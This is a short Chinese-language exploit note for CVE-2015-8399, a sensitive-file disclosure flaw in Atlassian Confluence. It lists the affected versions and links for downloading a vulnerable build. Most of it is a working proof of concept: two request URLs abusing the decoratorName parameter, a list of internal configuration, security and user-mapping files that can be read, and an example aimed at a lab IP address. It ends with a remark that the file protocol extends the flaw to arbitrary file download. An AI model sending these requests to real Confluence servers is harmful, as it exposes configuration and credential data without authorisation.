[CVE-2015-8399]Confluence敏感信息泄露

影响版本：
5.2 / 5.8.14 / 5.8.15

下载选择：

https://www.atlassian.com/zh/software/confluence/download-archives

发现server版已经不提供trial license了：

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-5.8.15.zip

       [PoC]
            http://<Confluence Server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
            http://<Confluence Server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>

            This is an example of accepted <FILE> parameters
            /WEB-INF/decorators.xml
            /WEB-INF/glue-config.xml
            /WEB-INF/server-config.wsdd
            /WEB-INF/sitemesh.xml
            /WEB-INF/urlrewrite.xml
            /WEB-INF/web.xml
            /databaseSubsystemContext.xml
            /securityContext.xml
            /services/statusServiceContext.xml
            com/atlassian/confluence/security/SpacePermission.hbm.xml
            com/atlassian/confluence/user/OSUUser.hbm.xml
            com/atlassian/confluence/security/ContentPermissionSet.hbm.xml
            com/atlassian/confluence/user/ConfluenceUser.hbm.xml

比如：
http://192.168.85.129:8090/spaces/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml

参考：
https://www.exploit-db.com/exploits/39170
https://jira.atlassian.com/browse/CONFSERVER-39704

补充：
利用file协议可以实现任意文件下载。